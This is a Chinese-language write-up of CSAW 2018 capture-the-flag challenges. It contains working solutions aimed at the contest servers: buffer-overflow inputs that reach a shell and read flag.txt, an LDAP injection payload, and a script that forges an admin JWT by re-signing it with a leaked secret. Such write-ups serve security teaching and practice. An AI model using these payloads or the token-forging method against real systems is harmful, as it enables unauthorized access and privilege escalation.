首发安全脉搏:https://www.secpulse.com/archives/75785.html
crypto
babycrypto
题目1
2
3
4
5
6yeeeeeeeeeeeeeeeeeeeeeeeeeeeeeet
single yeet yeeted with single yeet == 0
yeeet
what is yeet?
yeet is yeet
Yeetdate: yeeted yeet at yeet: 9:42 pm
提示single yeet yeeted with single yeet == 0
想到a XOR a == 0
,可能是单字的xor加密
ciphertext
1 | s5qQkd+WjN+e34+NkJiNnpKSmo3fiJeQ356Mj5aNmozfi5DfnI2anoua34+NkJiNnpKM34uXnovfl5qTj9+PmpCPk5rfm5Dfk5qMjNHft5rfiJ6Ri4zfi5Dfj4qL356Ki5CSnouWkJHfmZaNjIvT356Rm9+MnJ6Tnp2Wk5aLht+ek5CRmIyWm5rR37ea35uNmp6SjN+Qmd+e34iQjZOb34iXmo2a34uXmt+akZuTmoyM356Rm9+Ll5rflpGZlpGWi5rfnZqckJKa342anpOWi5aajN+LkN+SnpGUlpGb09+ekZvfiJeajZrfi5ea34uNiprfiZ6TiprfkJnfk5aZmt+WjN+PjZqMmo2JmpvRmZOemISblpmZlprSl5qTk5KekdKYz4+XzI2FjZ6wps61npPLnLeeuabGrKithr6uyZ63gg== |
首先要将密文base64解码,再进行xor运算,脚本如下1
2
3
4
5
6
7
8
9
10from pwn import *
from base64 import b64decode
ciphertext = b64decode("s5qQkd+WjN+e34+NkJiNnpKSmo3fiJeQ356Mj5aNmozfi5DfnI2anoua34+NkJiNnpKM34uXnovfl5qTj9+PmpCPk5rfm5Dfk5qMjNHft5rfiJ6Ri4zfi5Dfj4qL356Ki5CSnouWkJHfmZaNjIvT356Rm9+MnJ6Tnp2Wk5aLht+ek5CRmIyWm5rR37ea35uNmp6SjN+Qmd+e34iQjZOb34iXmo2a34uXmt+akZuTmoyM356Rm9+Ll5rflpGZlpGWi5rfnZqckJKa342anpOWi5aajN+LkN+SnpGUlpGb09+ekZvfiJeajZrfi5ea34uNiprfiZ6TiprfkJnfk5aZmt+WjN+PjZqMmo2JmpvRmZOemISblpmZlprSl5qTk5KekdKYz4+XzI2FjZ6wps61npPLnLeeuabGrKithr6uyZ63gg==")
for key in range(256):
plaintext = xor(key, ciphertext)
if "flag{" in plaintext:
print plaintext
flag:flag{diffie-hellman-g0ph3rzraOY1Jal4cHaFY9SWRyAQ6aH}
flatcrypt
题目1
2
3
4
5no logos or branding for this bug
Take your pick nc crypto.chal.csaw.io 8040 nc crypto.chal.csaw.io 8041 nc crypto.chal.csaw.io 8042 nc crypto.chal.csaw.io 8043
flag is not in flag format. flag is PROBLEM_KEY
serv-distribute.py1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20import zlib
import os
from Crypto.Cipher import AES
from Crypto.Util import Counter
ENCRYPT_KEY = bytes.fromhex('0000000000000000000000000000000000000000000000000000000000000000')
# Determine this key.
# Character set: lowercase letters and underscore
PROBLEM_KEY = 'not_the_flag'
def encrypt(data, ctr):
return AES.new(ENCRYPT_KEY, AES.MODE_CTR, counter=ctr).encrypt(zlib.compress(data))
while True:
f = input("Encrypting service\n")
if len(f) < 20:
continue
enc = encrypt(bytes((PROBLEM_KEY + f).encode('utf-8')), Counter.new(64, prefix=os.urandom(8)))
print("%s%s" %(enc, chr(len(enc))))
pwn
bigboy
题目nc pwn.chal.csaw.io 9000
无论输入什么都只打印一个时间就退出了,拖进ida看看
我们要将程序将跳转到调用系统的函数才可以。
修改eax的值
nc pwn.chal.csaw.io 9000 <<< $(python -c "print 'aaaaaaaaaaaaaaaaaaaa\xee\xba\xf3\xca'")
看看有些什么
nc pwn.chal.csaw.io 9000 <<< $(python -c "print 'aaaaaaaaaaaaaaaaaaaa\xee\xba\xf3\xcals'")
有个flag.txt
nc pwn.chal.csaw.io 9000 <<< $(python -c "print 'aaaaaaaaaaaaaaaaaaaa\xee\xba\xf3\xcacat flag.txt'")
flag:flag{Y0u_Arrre_th3_Bi66Est_of_boiiiiis}
get it?
题目1
2Do you get it?
nc pwn.chal.csaw.io 9001
无论输入什么都会重复你输入的然后退出。
objdump -d get_it
1 | 00000000004005b6 <give_shell>: |
注意这两个函数,main
中gets
非常可疑,再查看下give_shell
函数0x400684
1 | (gdb) x/s 0x400684 |
这是要调用system("/bin/bash");
搞事啊!!!那就来一波ida F5
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
gets(char * s)
接受一个参数,它将写入的内存中的位置,然后它将写入你输入的所有字符,lea
指令只是做了一些数学运算。在这里表示rax = rbp - 0x20
,顺便说一句,0x20 = 32
,我们用A
来填充获取的局部变量缓冲区。
1 | (gdb) break *0x00000000004005f6 |
测试一下python -c "print 'A' * 32 + 'B'*8 + '\xb6\x05@\x00\x00\x00\x00\x00'" > test
1 | (gdb) run < test |
ok,进入give_shell
flag:flag{y0u_deF_get_itls}
misc
Short Circuit
题目1
2
3Start from the monkey's paw and work your way down the high voltage line, for every wire that is branches off has an element that is either on or off. Ignore the first bit. Standard flag format.
Elyk
下载图片下来
这个就是很多个LED灯连在一起,分析一下,连了地线的表示"1"
,其他表示"0"
,
最后表示1
201100110 01101100 01100001 01100111 01111011 01101111 01110111 01101101 01111001
01101000 01100001 01101110 01100100 01111101
flag:flag{owmyhand}
Algebra
题目1
2
3Are you a real math wiz?
nc misc.chal.csaw.io 9002
就是根据他的等式来接X
,题目会越来越难,写个脚本就可以解开
1 | from pwn import * |
flag:flag{y0u_s0_60od_aT_tH3_qU1cK_M4tH5}
Take an L
题目1
2
3Fill the grid with L's but avoid the marked spot for the W
nc misc.chal.csaw.io 9000
The origin is at (0,0) on the top left
通过google,发现了这个
使用的算法是recursiv,我们在网格的中间放置一个“L”
(L-tromino),然后我们将网格分割成子网格,并为每个子网格执行相同的过程。当网格与我们的“L”
(2 * 2)大小相同时,递归函数停止。
1 | # -*- coding:utf-8 -*- |
参考大佬代码
flag:flag{m@n_that_was_sup3r_hard_i_sh0uld_have_just_taken_the_L}
web
Ldab
题目1
2dab
http://web.chal.csaw.io:8080
一个简单的LDAP注入
payload:http://web.chal.csaw.io:8080/index.php/index.php?search=*)(uid=*))(|(uid=*
flag:flag{ld4p_inj3ction_i5_a_th1ng}
sso
题目1
2
3
4Be the admin you were always meant to be
http://web.chal.csaw.io:9000
Update chal description at: 4:38 to include solve details
Aesthetic update for chal at Sun 7:25 AM
首先查看源码1
2
3
4
5
6<h1>Welcome to our SINGLE SIGN ON PAGE WITH FULL OAUTH2.0!</h1>
<a href="/protected">.</a>
<!--
Wish we had an automatic GET route for /authorize... well they'll just have to POST from their own clients I guess
POST /oauth2/token
POST /oauth2/authorize form-data TODO: make a form for this route--!>
根据判断应该是基于OAuth2.0协议的身份验证,
不了解的童鞋可以看看这篇文章
https://tools.ietf.org/html/rfc6749
https://tools.ietf.org/html/rfc6750
https://blog.csdn.net/cd_xuyue/article/details/52084220
首先我要获取一个code
,用burp抓包http://web.chal.csaw.io:9000/protected
在/oauth2/authorize
中response_type
必须要填,而且为code
,redirect_uri
将传递给重定向端点的绝对URI
我们将返回一个code
,我们再次修改数据包发送Access Token Request
code
的参数就是刚才返回的code
值,这样我们将得到一个token
,这个要使用jwt解码才能看见里面的内容,
jwt解码网站https://jwt.io/
根据题目提示,我们要将type
改成admin
才可以
参考大佬的加密脚本1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75#!/usr/bin/env python3
# -*- coding: utf8 -*-
import base64
import time
import hashlib
import hmac
import json
import sys
from collections import OrderedDict
def dump_tokens(jwt):
p1, p2, p3 = jwt.split('.', 3)
header = decode_token(p1)
payload = decode_token(p2)
return header, payload
def decode_token(token):
token_len = len(token)
padded_token = token.ljust(token_len + (token_len % 4), '=')
dict_ = json.loads(base64.b64decode(padded_token), object_pairs_hook=OrderedDict)
return dict_
def base64_encode(data):
return base64.b64encode(data).decode().strip('=')
def encode_token(dict_):
json_data = json.dumps(dict_, separators=(',', ':')).encode()
token = base64_encode(json_data)
return token
def sign_token(header, payload, secret):
jwt = encode_token(header) + '.' # header
jwt += encode_token(payload) + '.' # payload
signature = base64_encode(hmac.new(secret.encode(), jwt[:-1].encode(), hashlib.sha256).digest())
signature = signature.replace('/', '_').replace('+', '-')
jwt += signature
return jwt
if len(sys.argv) < 1:
print(f'Usage {sys.argv[0]} <jwt>')
else:
header, payload = dump_tokens(sys.argv[1]) # get original JWT as dict
print(f'''Original JWT values:
* header: {dict(header)}
* payload: {dict(payload)}
''')
new_header = header
new_payload = payload
# Update user type
new_payload['type'] = 'admin'
# Update expiration time
unix_ts = int(time.time())
flag_window = 600
new_payload['iat'] = unix_ts
new_payload['exp'] = unix_ts + flag_window
print(f'''New JWT values:
* header: {dict(header)}
* payload: {dict(payload)}
''')
# Generate new JWT (signature)
new_jwt = sign_token(header, payload, payload['secret'])
print(f'New signed JWT: {new_jwt}')
运行脚本
得到新的eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWRtaW4iLCJzZWNyZXQiOiJ1Zm91bmRtZSEiLCJpYXQiOjE1MzczMzcyNTcsImV4cCI6MTUzNzMzNzg1N30.LVpR0h6soIt3A3IRqis-T1nywLn_D_taJQhFTZdw9SE
重新发送
flag:flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}
https://gitlab.com/mahham/ctf/blob/master/2018-csaw/Readme.md#babycrypto-50-crypto